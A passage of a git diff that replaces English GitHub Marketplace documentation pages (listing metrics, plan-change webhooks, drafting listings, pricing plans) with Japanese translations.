+++ b/translations/ja-JP/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing metrics for your listing
-intro: 'The {% data variables.product.prodname_marketplace %} Insights page displays metrics for your {% data variables.product.prodname_github_app %}. You can use the metrics to track your {% data variables.product.prodname_github_app %}''s performance and make more informed decisions about pricing, plans, free trials, and how to visualize the effects of marketing campaigns.'
+title: リストのメトリクスの参照
+intro: '{% data variables.product.prodname_marketplace %} Insightsのページは、{% data variables.product.prodname_github_app %}のメトリクスを表示します。 このメトリクスを使って{% data variables.product.prodname_github_app %}のパフォーマンスを追跡し、価格、プラン、無料トライアル、マーケティングキャンペーンの効果の可視化の方法に関する判断を、より多くの情報に基づいて行えます。'
 redirect_from:
   - /apps/marketplace/managing-github-marketplace-listings/viewing-performance-metrics-for-a-github-marketplace-listing
   - /apps/marketplace/viewing-performance-metrics-for-a-github-marketplace-listing
@@ -12,45 +12,45 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: View listing metrics
+shortTitle: リストのメトリクスの表示
 ---
-You can view metrics for the past day (24 hours), week, month, or for the entire duration of time that your {% data variables.product.prodname_github_app %} has been listed.
+
+過去の日（24時間）、週、月、あるいは{% data variables.product.prodname_github_app %}がリストされた期間全体に対するメトリクスを見ることができます。
 
 {% note %}
 
-**Note:** Because it takes time to aggregate data, you'll notice a slight delay in the dates shown. When you select a time period, you can see exact dates for the metrics at the top of the page.
+**ノート:** データの集計には時間がかかるので、表示される日付には若干の遅れが生じます。 期間を選択すると、ページの上部にそのメトリクスの正確な日付が表示されます。
 
 {% endnote %}
 
-## Performance metrics
+## パフォーマンスメトリクス
 
-The Insights page displays these performance metrics, for the selected time period:
+Insightsページには、選択された期間に対する以下のパフォーマンスメトリクスが表示されます。
 
-* **Subscription value:** Total possible revenue (in US dollars) for subscriptions. This value represents the possible revenue if no plans or free trials are cancelled and all credit transactions are successful. The subscription value includes the full value for plans that begin with a free trial in the selected time period, even when there are no financial transactions in that time period. The subscription value also includes the full value of upgraded plans in the selected time period but does not include the prorated amount. To see and download individual transactions, see "[GitHub Marketplace transactions](/marketplace/github-marketplace-transactions/)."
-* **Visitors:** Number of people that have viewed a page in your GitHub Apps listing. This number includes both logged in and logged out visitors.
-* **Pageviews:** Number of views the pages in your GitHub App's listing received. A single visitor can generate more than one pageview.
+* **Subscription value:** サブスクリプションで可能な合計収入（米ドル）。 この値は、プランや無料トライアルがまったくキャンセルされず、すべてのクレジット取引が成功した場合に可能な収入を示します。 subscription valueには、選択された期間内に無料トライアルで始まったプランの全額が、仮にその期間に金銭取引がなかったとしても含まれます。 subscription valueには、選択された期間内にアップグレードされたプランの全額も含まれますが、日割り計算の文は含まれません。 個別の取引を見てダウンロードするには、「[GitHub Marketplaceの取引](/marketplace/github-marketplace-transactions/)」を参照してください。
+* **Visitors:** GitHub Appのリスト内のページを見た人数。 この数字には、ログインした訪問者とログアウトした訪問者がどちらも含まれます。
+* **Pageviews:** GitHub Appのリスト内のページが受けた閲覧数です。 一人の訪問者が複数のページビューを生成できます。
 
 {% note %}
 
-**Note:**  Your estimated subscription value could be much higher than the transactions processed for this period. 
+**ノート:** 推定されたsubscription valueは、その期間に処理された取引よりもはるかに高くなることがあります。
 
 {% endnote %}
 
-### Conversion performance
+### コンバージョンパフォーマンス
 
-* **Unique visitors to landing page:** Number of people who viewed your GitHub App's landing page.
-* **Unique visitors to checkout page:** Number of people who viewed one of your GitHub App's checkout pages.
-* **Checkout page to new subscriptions:** Total number of paid subscriptions, free trials, and free subscriptions. See the "Breakdown of total subscriptions" for the specific number of each type of subscription.
+* **Unique visitors to landing page:** GitHub Appのランディングページを閲覧した人数。
+* **Unique visitors to checkout page:** GitHub Appのチェックアウトページのいずれかを閲覧した人数。
+* **Checkout page to new subscriptions:** 有料サブスクリプション、無料トライアル、無料サブスクリプションの総数。 それぞれの種類のサブスクリプションの特定の数値については「合計サブスクリプションの内訳」を参照してください。
 
 ![Marketplace insights](/assets/images/marketplace/marketplace_insights.png)
 
-To access {% data variables.product.prodname_marketplace %} Insights:
+{% data variables.product.prodname_marketplace %} Insightsには以下のようにしてアクセスしてください。
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.marketplace_apps %}
-4. Select the {% data variables.product.prodname_github_app %} that you'd like to view Insights for.
+4. Insightを表示させる{% data variables.product.prodname_github_app %}を選択します。
 {% data reusables.user-settings.edit_marketplace_listing %}
-6. Click the **Insights** tab.
-7. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Insights page.
-![Marketplace time period](/assets/images/marketplace/marketplace_insights_time_period.png)
+6. **Insights**タブをクリックしてください。
+7. Insightsページの右上にあるPeriod（期間）ドロップダウンをクリックして、異なる期間を選択することもできます。 ![Marketplaceの期間](/assets/images/marketplace/marketplace_insights_time_period.png)
diff --git a/translations/ja-JP/content/developers/github-marketplace/index.md b/translations/ja-JP/content/developers/github-marketplace/index.md
index 7bfbc295fd..5237c9e1b0 100644
--- a/translations/ja-JP/content/developers/github-marketplace/index.md
+++ b/translations/ja-JP/content/developers/github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Marketplace
-intro: 'List your tools in {% data variables.product.prodname_dotcom %} Marketplace for developers to use or purchase.'
+intro: '{% data variables.product.prodname_dotcom %} Marketplaceで開発者が利用したり購入したりできるように、ツールをリストしてください。'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/about-github-marketplace
   - /apps/marketplace
diff --git a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
index d1b387eead..0118f5854a 100644
--- a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
+++ b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a webhook to notify you of plan changes
-intro: 'After [creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/), you can configure a webhook that notifies you when changes to customer account plans occur. After you configure the webhook, you can [handle the `marketplace_purchase` event types](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) in your app.'
+title: プランの変更を通知するようwebhookを設定する
+intro: '[ドラフトの{% data variables.product.prodname_marketplace %}リストを作成](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)したあと、顧客のアカウントのプランに変更があった場合に通知するよう、webhookを設定できます。 webhookを設定すると、アプリケーション中で[`marketplace_purchase`イベントタイプを処理](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)できるようになります。'
 redirect_from:
   - /apps/adding-integrations/managing-listings-on-github-marketplace/adding-webhooks-for-a-github-marketplace-listing
   - /apps/marketplace/managing-github-marketplace-listings/adding-webhooks-for-a-github-marketplace-listing
@@ -13,13 +13,14 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Webhooks for plan changes
+shortTitle: プラン変更のwebhook
 ---
-The {% data variables.product.prodname_marketplace %} event webhook can only be set up from your application's {% data variables.product.prodname_marketplace %} listing page. You can configure all other events from your [application's developer settings page](https://github.com/settings/developers). If you haven't created a {% data variables.product.prodname_marketplace %} listing, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how.
 
-## Creating a webhook
+{% data variables.product.prodname_marketplace %}のイベントwebhookは、アプリケーションの{% data variables.product.prodname_marketplace %}リストページからのみセットアップできます。 他のすべてのイベントは、[アプリケーションの開発者設定ページ](https://github.com/settings/developers)から設定できます。 {% data variables.product.prodname_marketplace %}のリストを作成していない場合は、「[ドラフトの{% data variables.product.prodname_marketplace %}リストの作成](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)」を読んで、その方法を学んでください。
 
-To create a webhook for your {% data variables.product.prodname_marketplace %} listing, click **Webhook** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). You'll see the following webhook configuration options needed to configure your webhook:
+## webhookの作成
+
+{% data variables.product.prodname_marketplace %}リストのwebhookを作成するには、[{% data variables.product.prodname_marketplace %}リストページ](https://github.com/marketplace/manage)の左のサイドバーで**Webhook**をクリックしてください。 webhookを設定するのに必要な、以下のwebhookの設定オプションが表示されます。
 
 ### Payload URL
 
@@ -27,7 +28,7 @@ To create a webhook for your {% data variables.product.prodname_marketplace %} l
 
 ### Content type
 
-{% data reusables.webhooks.content_type %} GitHub recommends using the `application/json` content type.
+{% data reusables.webhooks.content_type %} GitHubは、`application/json`コンテンツタイプの利用をおすすめします。
 
 ### Secret
 
@@ -35,10 +36,10 @@ To create a webhook for your {% data variables.product.prodname_marketplace %} l
 
 ### Active
 
-By default, webhook deliveries are "Active." You can choose to disable the delivery of webhook payloads during development by deselecting "Active." If you've disabled webhook deliveries, you will need to select "Active" before you submit your app for review.
+デフォルトでは、webhookの配信は「Active」です。 「Active」の選択を解除すれば、開発の間webhookペイロードの配信を無効にできます。 webhookの配信を無効にした場合、レビューのためにアプリケーションをサブミットする前には「Active」を選択しなければなりません。
 
-## Viewing webhook deliveries
+## webhookの配信の表示
 
-Once you've configured your {% data variables.product.prodname_marketplace %} webhook, you'll be able to inspect `POST` request payloads from the **Webhook** page of your application's [{% data variables.product.prodname_marketplace %} listing](https://github.com/marketplace/manage). GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub.
+{% data variables.product.prodname_marketplace %} webhookを設定すると、アプリケーションの[{% data variables.product.prodname_marketplace %}リスト](https://github.com/marketplace/manage)の**Webhook**ページから、`POST`リクエストのペイロードを調べることができるようになります。 GitHubは、失敗した配信の試行を再送信しません。 GitHubが送信したすべてのwebhookのペイロードを、アプリケーションが確実に受信できるようにしてください。
 
-![Inspect recent {% data variables.product.prodname_marketplace %} webhook deliveries](/assets/images/marketplace/marketplace_webhook_deliveries.png)
+![最近の{% data variables.product.prodname_marketplace %} webhookの配信の調査](/assets/images/marketplace/marketplace_webhook_deliveries.png)
diff --git a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
index 9dd64a8959..0f693018ba 100644
--- a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
+++ b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Drafting a listing for your app
-intro: 'When you create a {% data variables.product.prodname_marketplace %} listing, GitHub saves it in draft mode until you submit the app for approval. Your listing shows customers how they can use your app.'
+title: アプリケーションのリストのドラフト
+intro: '{% data variables.product.prodname_marketplace %}のリストを作成すると、GitHubは承認のためにアプリケーションがサブミットされるまで、そのリストをドラフトモードで保存します。 このリストは、顧客に対してアプリケーションがどのように使えるのかを示します。'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
@@ -18,51 +18,50 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Draft an app listing
+shortTitle: アプリケーションリストのドラフト
 ---
-## Create a new draft {% data variables.product.prodname_marketplace %} listing
 
-You can only create draft listings for apps that are public. Before creating your draft listing, you can read the following guidelines for writing and configuring settings in your {% data variables.product.prodname_marketplace %} listing:
+## 新しいドラフトの{% data variables.product.prodname_marketplace %}リストの作成
 
-* [Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)
-* [Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)
-* [Configuring the {% data variables.product.prodname_marketplace %} Webhook](/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/)
+パブリックなアプリケーションについては、ドラフトのリストだけが作成できます。 ドラフトのリストを作成する前に、{% data variables.product.prodname_marketplace %}リストの設定を書いて構成するための以下のガイドラインを読んでください。
 
-To create a {% data variables.product.prodname_marketplace %} listing:
+* [{% data variables.product.prodname_marketplace %}リストの説明を書く](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)
+* [{% data variables.product.prodname_marketplace %}リストの価格プランの設定](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)
+* [{% data variables.product.prodname_marketplace %} webhookの設定](/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/)
+
+{% data variables.product.prodname_marketplace %}のリストを作成するには、以下のようにします。
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
-3. In the left sidebar, click either **OAuth Apps** or **GitHub Apps** depending on the app you're adding to {% data variables.product.prodname_marketplace %}.
+3. 左のサイドバーで、{% data variables.product.prodname_marketplace %}に追加しようとしているアプリケーションに応じて、**OAuth Apps**もしくは**GitHub Apps**をクリックしてください。
 
   {% note %}
 
-  **Note**: You can also add a listing by navigating to https://github.com/marketplace/new, viewing your available apps, and clicking **Create draft listing**.
+  **ノート**: https://github.com/marketplace/new にアクセスし、利用可能なアプリケーションを見て、**Create draft listing（ドラフトのリストの作成）**をクリックしても、リストを追加できます。
 
   {% endnote %}
 
-  ![App type selection](/assets/images/settings/apps_choose_app.png)
+  ![アプリケーションの種類の選択](/assets/images/settings/apps_choose_app.png)
 
-4. Select the app you'd like to add to {% data variables.product.prodname_marketplace %}.
-![App selection for {% data variables.product.prodname_marketplace %} listing](/assets/images/github-apps/github_apps_select-app.png)
+4. {% data variables.product.prodname_marketplace %}に追加するアプリケーションを選択します。 ![{% data variables.product.prodname_marketplace %}リストのアプリケーションの選択](/assets/images/github-apps/github_apps_select-app.png)
 {% data reusables.user-settings.edit_marketplace_listing %}
-5. Once you've created a new draft listing, you'll see an overview of the sections that you'll need to visit before your {% data variables.product.prodname_marketplace %} listing will be complete.
-![GitHub Marketplace listing](/assets/images/marketplace/marketplace_listing_overview.png)
+5. 新しいドラフトのリストを作成すると、{% data variables.product.prodname_marketplace %}のリストの完成前にアクセスしておかなければならないセクションの概要が表示されます。 ![GitHub Marketplaceのリスト](/assets/images/marketplace/marketplace_listing_overview.png)
 
 
 {% note %}
 
-**Note:** In the "Contact info" section of your listing, we recommend using individual email addresses, rather than group emails addresses like support@domain.com. GitHub will use these email addresses to contact you about updates to {% data variables.product.prodname_marketplace %} that might affect your listing, new feature releases, marketing opportunities, payouts, and information on conferences and sponsorships.
+**ノート:** リストの"Contact info（連絡先の情報）"セクションでは、support@domain.comというようなグループメールアドレスよりは、個人のメールアドレスを使うことをおすすめします。 GitHubはこれらのメールアドレスを、リストに影響するかもしれない{% data variables.product.prodname_marketplace %}のアップデート、新機能、マーケティングの機会、支払い、カンファレンスやスポンサーシップに関する情報などに関する連絡に使用します。
 
 {% endnote %}
 
-## Editing your listing
+## リストの編集
 
-Once you've created a {% data variables.product.prodname_marketplace %} draft listing, you can come back to modify information in your listing anytime. If your app is already approved and in {% data variables.product.prodname_marketplace %}, you can edit the information and images in your listing, but you will not be able to change existing published pricing plans. See "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+{% data variables.product.prodname_marketplace %}のドラフトリストを作成した後は、いつでもリスト内の情報を変更するために戻ってくることができます。 アプリケーションが検証済みで{% data variables.product.prodname_marketplace %}にあるなら、リスト中の情報や画像を編集することはできますが、公開された既存の価格プランを変更することはできません。 「[{% data variables.product.prodname_marketplace %}リストの価格プランの設定](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)」を参照してください。
 
-## Submitting your app
+## アプリケーションのサブミット
 
-Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process.
+{% data variables.product.prodname_marketplace %}リストが完成したら、**Overview（概要）**ページからレビューのためにリストをサブミットできます。 「[{% data variables.product.prodname_marketplace %}の開発者契約](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement/)」を読んで同意しなければなりません。続いて**Submit for review（レビューのためにサブミット）**をクリックできます。 レビューのためにアプリケーションをサブミットした後、のオンボーディングの専門家から、オンボーディングのプロセスに関する追加情報と併せて連絡が来ます。
 
-## Removing a {% data variables.product.prodname_marketplace %} listing
+## {% data variables.product.prodname_marketplace %}リストの削除
 
-If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing.
+アプリケーションを{% data variables.product.prodname_marketplace %}のリストに載せたくなくなったなら、リストを削除するために{% data variables.contact.contact_support %}に連絡してください。
diff --git a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
index c587c34a71..109c25b0ff 100644
--- a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
+++ b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
-title: Listing an app on GitHub Marketplace
-intro: 'Learn about requirements and best practices for listing your app on {% data variables.product.prodname_marketplace %}.'
+title: GitHub Marketplace上でのアプリケーションのリスト
+intro: 'アプリケーションを{% data variables.product.prodname_marketplace %}上でリストする際の要件とベストプラクティスについて学んでください。'
 redirect_from:
   - /apps/adding-integrations/listing-apps-on-github-marketplace
   - /apps/marketplace/listing-apps-on-github-marketplace
@@ -21,6 +21,6 @@ children:
   - /setting-pricing-plans-for-your-listing
   - /configuring-a-webhook-to-notify-you-of-plan-changes
   - /submitting-your-listing-for-publication
-shortTitle: List an app on the Marketplace
+shortTitle: Marketplaceへのアプリケーションの掲載
 ---
 
diff --git a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
index ffdba1e720..7c54fdbd71 100644
--- a/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
+++ b/translations/ja-JP/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
@@ -1,6 +1,6 @@
 ---
-title: Setting pricing plans for your listing
-intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.'
+title: リストに対する価格プランの設定
+intro: 'アプリケーションを{% data variables.product.prodname_marketplace %}上でリストする際に、アプリケーションを無料のサービスとして提供するか、アプリケーションを販売するかを選択できます。 アプリケーションを販売することを計画するなら、様々な機能レベルに対して異なる価格プランを作成できます。'
 redirect_from:
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
   - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
@@ -19,69 +19,70 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Set listing pricing plans
+shortTitle: 掲載する価格プランの設定
 ---
-## About setting pricing plans
 
-{% data variables.product.prodname_marketplace %} offers several different types of pricing plans. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)."
+## 価格プランの設定について
 
-To offer a paid plan for your app, your app must be owned by an organization that has completed the publisher verification process and met certain criteria. For more information, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" and "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)."
+{% data variables.product.prodname_marketplace %}では、いくつかの種類の価格プランを提供しています。 詳細にな情報については「[{% data variables.product.prodname_marketplace %}の価格プラン](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)」を参照してください。
 
-If your app is already published with a paid plan and you're a verified publisher, then you can publish a new paid plan from the "Edit a pricing plan" page in your Marketplace app listing settings. 
+アプリケーションで有料プランを提供するには、アプリケーションがパブリッシャー検証プロセスを済ませたOrganizationの所有であり、かつ特定の条件を満たす必要があります。 詳しい情報については、「[Organizationのパブリッシャー検証プロセスを申請する](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)」および「[{% data variables.product.prodname_marketplace %}アプリケーションを載せるための要件](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)」を参照してください。
 
-![Publish this plan button](/assets/images/marketplace/publish-this-plan-button.png)
+アプリケーションが有料プラン付きで既に公開されており、あなたが検証済みパブリッシャーである場合は、Marketplaceアプリケーション掲載設定の [Edit a pricing plan] ページから新しい有料プランを公開できます。
 
-If your app is already published with a paid plan and but you are not a verified publisher, then you can cannot publish a new paid plan until you are a verified publisher. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
+![[Publish this plan] ボタン](/assets/images/marketplace/publish-this-plan-button.png)
 
-## About saving pricing plans
+アプリケーションが有料プラン付きで既に公開されており、あなたが検証済みパブリッシャーでない場合は、検証済みパブリッシャーになるまで新しい有料プランを公開できません。 検証済みパブリッシャーになる方法の詳細については、「[Organizationのパブリッシャー検証プロセスを申請する](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)」を参照してください。
 
-You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans.
+## 価格プランの保存について
 
-For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)."
+価格プランは、ドラフトもしくは公開状態で保存できます。 {% data variables.product.prodname_marketplace %}リストを承認のためにサブミットしていないなら、リストが承認されるまでは公開されたプランはドラフトのプランと同じように機能し、{% data variables.product.prodname_marketplace %}上に表示されます。 ドラフトプランを利用すると、新しい価格プランを{% data variables.product.prodname_marketplace %}リストページ上で利用できるようにすることなく作成し、保存できます。 公開リスト上で価格プランを公開すると、顧客はすぐにそれを利用して購入できるようになります。 最大で10の価格プランを公開できます。
 
-## Creating pricing plans
+顧客への課金のガイドラインについては、「[顧客への課金](/developers/github-marketplace/billing-customers)」を参照してください。
 
-To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)."
+## 価格プランの作成
 
-When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan:
+{% data variables.product.prodname_marketplace %}リストの価格プランを作成するには、[{% data variables.product.prodname_marketplace %}リストページ](https://github.com/marketplace/manage)の左のサイドバーで**Plans and pricing（プラント価格）**をクリックしてください。 詳しい情報については「[ドラフトの{% data variables.product.prodname_marketplace %}リストの作成](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)」を参照してください。
 
-- **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like.
+**New draft plan（新規ドラフトプラン）**をクリックすると、価格プランをカスタマイズできるフォームが表示されます。 価格プランを作成するには、以下のフィールドを設定しなければなりません。
 
-- **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans:
+- **Plan name（プラン名）** - プラン名は、{% data variables.product.prodname_marketplace %}アプリケーションのランディングページに表示されます。 価格名はカスタマイズして、プランのリソース、そのプランを利用する企業の規模、あるいはその他好きなことにあわせることができます。
 
-  - You must set a price for both monthly and yearly subscriptions in US dollars.
-  - Your app must process plan change events.
-  - You must request verification to publish a listing with a paid plan.
+- **Pricing models（価格モデル）** - 価格モデルには、無料、定額、ユニット単位の3種類があります。 すべてのプランで、Marketplace APIからの新規の購入とキャンセルの処理が必要になります。 加えて、有料プランでは以下が必要です。
+
+  - 月単位及び年単位でのサブスクリプションの価格を米ドルで設定しなければなりません。
+  - アプリケーションはプランの変更イベントを処理しなければなりません。
+  - 有料プランを持つリストを公開するには、検証をリクエストしなければなりません。
   - {% data reusables.marketplace.marketplace-pricing-free-trials %}
 
-  For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+  詳細な情報については、「[{% data variables.product.prodname_marketplace %}アプリケーションの価格プラン](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)」及び「[アプリケーションでの{% data variables.product.prodname_marketplace %} APIの利用](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)」を参照してください。
 
-- **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account.
+- **Available for（利用対象）** - {% data variables.product.prodname_marketplace %}の価格プランは、**個人及びOrganizationアカウント**、**個人アカウントのみ**、**Organizationアカウントのみ**のいずれかにできます。 たとえば、価格プランがユニット単位であり、複数のシートを提供するなら、個人アカウントからOrganization内の人にシートを割り当てる方法はないので、**Organization accounts only（Organizationアカウントのみ）**が選択できるでしょう。
 
-- **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes.
+- **Short description（簡単な説明）** - 価格プランの詳細の簡単な要約を書いてください。 この説明には、そのプランが意図している顧客の種類や、プランに含まれるリソースなどが含まれることがあります。
 
-- **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan.
+- **Bullets（箇条書き）** - 価格プランに関する詳細を含む箇条書きを、最大で4項目書くことができます。 この箇条書きでは、アプリケーションのユースケースを含めたり、プランに含まれるリソースや機能に関するさらなる詳細をリストしたりすることができます。
 
 {% data reusables.marketplace.free-plan-note %}
 
-## Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan
+## {% data variables.product.prodname_marketplace %}リストの価格プランの変更
 
-If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.
+{% data variables.product.prodname_marketplace %}のリストのための価格プランが必要なくなったり、プランの詳細を調整する必要が生じた場合、そのプランを削除できます。
 
-![Button to remove your pricing plan](/assets/images/marketplace/marketplace_remove_this_plan.png)
+![価格プランを削除するボタン](/assets/images/marketplace/marketplace_remove_this_plan.png)
 
-Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)."
+{% data variables.product.prodname_marketplace %}にリスト済みのアプリケーションの価格プランを公開すると、そのプランは変更できなくなります。 その代わりに、その価格プランを削除して、新しいプランを作成しなければなりません。 削除された価格プランを購入済みの顧客は、オプトアウトして新しい価格プランに移行するまでは、そのプランを使い続けます。 価格プランの詳細については、「[{% data variables.product.prodname_marketplace %}の価格プラン](/marketplace/selling-your-app/github-marketplace-pricing-plans/)」を参照してください。
 
-Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription.
+価格プランを削除すると、ユーザはそのプランを使ってアプリケーションを購入することはできなくなります。 削除されたプランの既存ユーザは、プランのサブスクリプションをキャンセルするまではそのプランに留まり続けます。
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %} can't remove users from a removed pricing plan. You can run a campaign to encourage users to upgrade or downgrade from the removed pricing plan onto a new pricing plan.
+**ノート:** {% data variables.product.product_name %}は、削除された価格プランからユーザを削除することはできません。 削除された価格プランから新しい価格プランへ、アップグレードもしくはダウングレードするようユーザに促すキャンペーンを実行できます。
 
 {% endnote %}
 
-You can disable GitHub Marketplace free trials without retiring the pricing plan, but this prevents you from initiating future free trials for that plan. If you choose to disable free trials for a pricing plan, users already signed up can complete their free trial.
